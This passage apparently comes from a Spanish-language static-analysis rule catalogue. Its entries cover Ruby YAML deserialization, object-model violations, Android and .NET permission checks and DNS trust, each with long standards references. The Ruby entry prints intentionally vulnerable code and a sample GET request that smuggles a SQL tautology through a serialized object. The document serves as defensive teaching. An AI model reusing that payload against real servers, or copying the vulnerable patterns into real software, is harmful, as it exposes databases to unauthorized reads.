[2] Stefan Esser Utilizing Code Reuse/ROP in PHP Application Exploits
[3] Standards Mapping - Common Weakness Enumeration CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[19] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.object_injection
Abstract
La deserialización de datos que no son de confianza permite la inyección de objetos de Ruby arbitrarios, lo cual puede provocar que el programa ejecute comandos malintencionados en nombre de un usuario malintencionado.
Explanation
Las vulnerabilidades de inyección de objetos se producen cuando los datos que no son de confianza no se corrigen correctamente antes de transferirlos a la función que deserializa los datos como YAML.load(). Los usuarios malintencionados podrían transferir cadenas serializadas especialmente diseñadas a una llamada YAML.load() vulnerable, dando como resultado la inyección de objetos de Ruby arbitrarios en el programa, siempre y cuando la clase se cargue en la aplicación en el momento de deserialización. Esto puede facilitar un montón de oportunidades de ataques diversos, como omitir la lógica de validación para buscar vulnerabilidades de Cross-Site Scripting, permitir la SQL Injection a través de lo que parecen ser valores codificados o incluso la ejecución de código completa.

Ejemplo 1: El siguiente código muestra una clase de Ruby que crea una consulta SQL con sus atributos que luego se utiliza para consultar en la base de datos. También hay una llamada no segura a YAML.load() con datos proporcionados por el usuario.


...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end

def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end

...
user = YAML.load(params[:user]);
user.print_details
...


En el Example 1, la aplicación puede estar esperando a un objeto de User serializado, que también tiene una función llamada print_details, pero un atacante en realidad podría proporcionar una versión serializada de un objeto Transaction con un valor predefinido para su atributo @id. Por lo tanto, una solicitud como la siguiente puede permitir la omisión de la comprobación de validación que intenta asegurarse de que @id es un valor numérico.


GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A


Si observamos la versión decodificada de esto, vemos que el parámetro user tiene asignado !ruby/object:Transaction\nid:4 or 5=5\n.
Entonces, la deserialización del parámetro de usuario creará un objeto de tipo Transaction y @id se establecerá en "4 or 5=5". Cuando el desarrollador cree que se llamará a User#print_details(), ahora se llamará a Transaction#print_details() y la interpolación de cadena de Ruby significará que la consulta SQL se cambiará para ejecutar la consulta: SELECT * FROM transactions WHERE id=4 or 5=5. Dado que se agregó la cláusula adicional, la consulta se evalúa en true y devolverá todo dentro de la tabla transactions en lugar de la única fila prevista por el desarrollador.

Los atacantes podrían encadenar diferentes clases declaradas cuando se llama al YAML.load() vulnerable mediante una técnica conocida como "Programación orientada a las propiedades", que introdujo Stefan Esser durante la conferencia BlackHat de 2010. Esta técnica permite a un atacante volver a utilizar el código existente para diseñar su propia carga.
References
[1] HD Moore Serialization Mischief in Ruby Land (CVE-2013-0156)
[2] Ruby Ruby Security
[3] Standards Mapping - Common Weakness Enumeration CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[19] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.object_injection
Abstract
Un método clone() debe llamar super.clone() para obtener el nuevo objeto.
Explanation
Todas las implementaciones de clone() deben obtener el nuevo objeto llamando super.clone(). Si una clase no puede seguir esta convención, un método clone() de subclase devolverá un objeto del tipo incorrecto.


Ejemplo 1: las dos clases siguientes demuestran un error introducido por no llamar super.clone(). Dada la forma en que Kibitzer implementa clone(), el método de clonación de FancyKibitzer devolverá un objeto de tipo Kibitzer en lugar de FancyKibitzer.


public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}

public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 580
desc.structural.java.object_model_violation_erroneous_clone_method
Abstract
Esta clase ignora solo uno de Equals() y GetHashCode().
Explanation
Se espera que los objetos .NET obedezcan a un número de invariables relacionadas con la igualdad. Una de estas invariables es que los objetos iguales deben tener códigos hash iguales. En otras palabras, si a.Equals(b) == true, entonces a.GetHashCode() == b.GetHashCode().

En caso de no mantenerse esta invariable, es probable que se produzcan problemas si los objetos de esta clase se almacenan en una colección. Si los objetos de la clase en cuestión se utilizan como clave en una Hashtable o si se insertan en un Dictionary, es fundamental que los objetos iguales tengan códigos hash iguales.

Ejemplo 1: La clase siguiente ignora Equals() pero no GetHashCode().


public class Halfway() {
public override boolean Equals(object obj) {
...
}
}
References
[1] MSDN Library: Equals Method (Object) Microsoft Corporation
[2] MSDN Library: GetHashCode Method (Object) Microsoft Corporation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 581
desc.structural.dotnet.object_model_violation.just_one_of_equals_hashcode_defined
Abstract
Esta clase ignora solo uno de equals() y hashCode().
Explanation
Se espera que los objetos Java obedezcan un número de invariables relacionadas con la igualdad. Una de estas invariables es que los objetos iguales deben tener códigos hash iguales. En otras palabras, si a.equals(b) == true, entonces a.hashCode() == b.hashCode().

En caso de no mantenerse esta invariable, es probable que se produzcan problemas si los objetos de esta clase se almacenan en una colección. Si los objetos de la clase en cuestión se usan como clave en una tabla hash o si se insertan en un Map o Set, es esencial que los objetos iguales tengan los códigos hash iguales.

Ejemplo 1: La clase siguiente ignora equals() pero no hashCode().


public class halfway() {
public boolean equals(Object obj) {
...
}
}
References
[1] D. H. Hovermeyer FindBugs User Manual
[2] MET09-J. Classes that define an equals() method must also define a hashCode() method CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 581
desc.structural.java.object_model_violation_just_one_of_equals_hashcode_defined
Abstract
Esta clase ignora solo uno de saveState() y restoreState().
Explanation
Cualquier clase que herede la interfaz StateHolder debe implementar tanto saveState(javax.faces.context.FacesContext) como restoreState(javax.faces.context.FacesContext, java.lang.Object), o no implementar ninguna de ellos. Como estos dos métodos tienen una relación estrecha, no se pueden tener los métodos saveState(javax.faces.context.FacesContext) y restoreState(javax.faces.context.FacesContext, java.lang.Object) residiendo en diferentes niveles de la jerarquía de herencia.

Ejemplo 1: La siguiente clase define saveState() y no restoreState(), de forma que siempre está equivocada, independientemente de lo que pueda hacer cualquier clase
que extienda.

public class KibitzState implements StateHolder {
public Object saveState(FacesContext fc) {
...
}
}
References
[1] Sun Microsystems JavaDoc for StateHolder Interface
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
desc.structural.java.object_model_violation_just_one_of_restoreState_saveState_defined
Abstract
Las funciones, checkCallingOrSelfPermission () o checkCallingOrSelfUriPermission (), deben usarse con cuidado ya que permiten que el programa que realiza la llamada, sin los permisos requeridos o sin permisos, eluda la verificación de permisos, utilizando los permisos de su aplicación.
Explanation
La función checkCallingOrSelfPermission() o checkCallingOrSelfUriPermission() determina si el programa que realiza la llamada cuenta con el permiso necesario para acceder a determinado servicio o URI. Sin embargo, estas funciones deben utilizarse con cuidado, ya que pueden conceder acceso a aplicaciones malintencionadas, que carecen de los permisos correspondientes, adoptando los permisos de las aplicaciones.

En otras palabras, una aplicación malintencionada sin los permisos correspondientes puede omitir la comprobación de permisos mediante la adopción del permiso de la aplicación para obtener acceso a recursos a los que, de lo contrario, no podría acceder. Esto provoca lo que se conoce como ataque de tipo "confused deputy".
References
[1] Designing for Security Android
[2] Context: Android Developers Android
[3] Standards Mapping - Common Weakness Enumeration CWE ID 275
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.5 Access Control Architectural Requirements (L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[12] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[13] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[14] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[31] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.structural.java.often_misused_android_permission_check
Abstract
A continuación, el código confirma a los autores de la llamada que se ha concedido un determinado permiso, lo que permitirá a un usuario malintencionado omitir los controles de seguridad.
Explanation
Los permisos de .NET Framework funcionan avanzando por el árbol de pila (donde el árbol crece hacia abajo), para comprobar si los permisos establecidos son suficientes para acceder a un recurso. Cuando un desarrollador usa Assert() con un permiso concreto, es una forma de decir que el flujo de control actual tiene el permiso especificado. Esto provoca que .NET Framework detenga cualquier comprobación de permisos adicional, siempre y cuando se hayan satisfecho los permisos necesarios, por lo que el código que llama al código que realiza la llamada a Assert() podría no tener el permiso requerido. Usar Assert() es útil en ciertos casos, pero puede dar lugar a vulnerabilidades cuando permite que un usuario malintencionado tome el control de un recurso que no tendría derecho a controlar de otro modo.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 275
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002039, CCI-002165
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), IA-11 Re-Authentication (P0)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.5 Access Control Architectural Requirements (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[10] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[11] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[12] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[13] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[14] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[15] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[16] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001520 CAT II, APSC-DV-001530 CAT II
[50] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[51] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.semantic.dotnet.often_misused_asserting_permissions
Abstract
Los atacantes pueden reemplazar las entradas DNS. Por motivos de seguridad, no confíe en nombres DNS.
Explanation
Muchos servidores DNS son susceptibles de sufrir ataques, por eso debe suponer que su software se ejecutará alguna vez en un entorno con un servidor DNS afectado. Si los atacantes están autorizados a hacer actualizaciones de DNS (a veces denominado envenenamiento de la caché del DNS), pueden redirigir su tráfico de red a través de sus equipos o hacer que parezca que sus direcciones IP forman parte de su dominio. No base la seguridad de su sistema en nombres DNS.
Ejemplo: el siguiente ejemplo de código utiliza una búsqueda DNS para determinar si una solicitud entrante es de un host de confianza o no. Si un atacante es capaz de dañar la caché DNS, puede obtener un estatus de confianza.


IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}


Las direcciones IP son más confiables que los nombres DNS, pero también se pueden reemplazar. Los atacantes pueden falsificar fácilmente las direcciones IP de origen de los paquetes que envían, aunque los paquetes de respuesta volverán a la dirección IP falsificada. Para ver los paquetes de respuesta, el atacante tiene que examinar el tráfico entre el equipo víctima y la dirección IP falsificada. A fin de completar el examen necesario, los atacantes normalmente intentan ubicarse en la misma subred que el equipo víctima. Los atacantes podrían ser capaces de evitar este requisito empleando enrutamiento de origen, aunque el enrutamiento de origen esté deshabilitado actualmente en gran parte de Internet. En resumen, la verificación de las direcciones IP puede ser una parte útil de un esquema de autenticación, pero no debe ser el único factor necesario para la autenticación.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 247, CWE ID 292, CWE ID 558, CWE ID 807
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000877
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-11 Re-Authentication (P0), MA-4 Nonlocal Maintenance (P2), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 MA-4 Nonlocal Maintenance, SC-23 Session Authenticity
[7] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
